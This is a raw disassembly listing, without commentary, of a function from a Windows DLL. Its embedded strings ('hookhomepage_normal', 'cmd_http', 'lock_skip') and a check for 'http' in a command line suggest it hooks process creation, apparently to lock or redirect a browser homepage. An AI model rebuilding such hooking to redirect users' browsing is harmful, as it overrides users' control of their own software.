mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10032a65
push 0x51
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], al
call fcn.10007950
push 3
push 0x100c4c90
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.10007950
mov byte [ebp - 4], 4
call fcn.1004a6b0
mov edi, eax
lea ecx, [ebp - 0x184]
push 0x82
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10004100
mov esi, eax
push str.ApplicationName_or_CommandLine_is_NULL
push esi
mov byte [ebp - 4], 5
call fcn.100051f0
mov edx, dword [edi]
add esp, 8
mov ecx, edi
push esi
call dword [edx + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
mov edx, dword [ebp - 0x44]
mov byte [ebp - 4], 3
cmp edx, 0x10
jb 0x10032a15
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10032a0b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cf3
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov byte [ebp - 4], 0
cmp edx, 0x10
jb 0x10032a5f
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10032a55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cf8
push edx
push ecx
call fcn.10068042
add esp, 8
mov esi, dword [ebp - 0xb4]
cmp dword [0x100f8b74], 0
jne 0x10032b8a
push 4
push str.http
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrNIW]
test eax, eax
je 0x10032b8a
push 8
xor eax, eax
mov dword [0x100f8b74], 1
push str.cmd_http
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 6
push 0x100ca108
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.100112e0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
mov edx, dword [ebp - 0x44]
mov byte [ebp - 4], 6
cmp edx, 8
jb 0x10032b39
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10032b2f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cfd
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
mov byte [ebp - 4], al
cmp edx, 8
jb 0x10032b8a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10032b80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032d02
push edx
push ecx
call fcn.10068042
add esp, 8
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10032c45
push 0x51
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.10007950
push 3
push 0x100c4c90
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10007950
mov byte [ebp - 4], 0x34
call fcn.1004a6b0
mov edi, eax
lea ecx, [ebp - 0x184]
push 0xfe
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10004100
mov esi, eax
push str.l_d_s_lock_skip
push esi
mov byte [ebp - 4], 0x35
call fcn.100051f0
mov edx, dword [edi]
add esp, 8
mov ecx, edi
push esi
call dword [edx + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
lea ecx, [ebp - 0x28]
call fcn.10004b70
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.10004b70
push dword [ebp - 0xdc]
mov eax, dword [ebp - 0xb0]
push dword [ebp - 0xc8]
push dword [ebp - 0xcc]
mov eax, dword [eax + 4]
push dword [ebp - 0xd0]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp - 0xd4]
push dword [ebp - 0xd8]
push dword [ebp - 0xb4]
push dword [ebp - 0xac]
call eax
mov esi, eax
lea ecx, [ebp - 0x88]
call fcn.10004bc0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100683c1
mov esp, ebp
pop ebp
ret 0x28
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
call fcn.10092d65
int3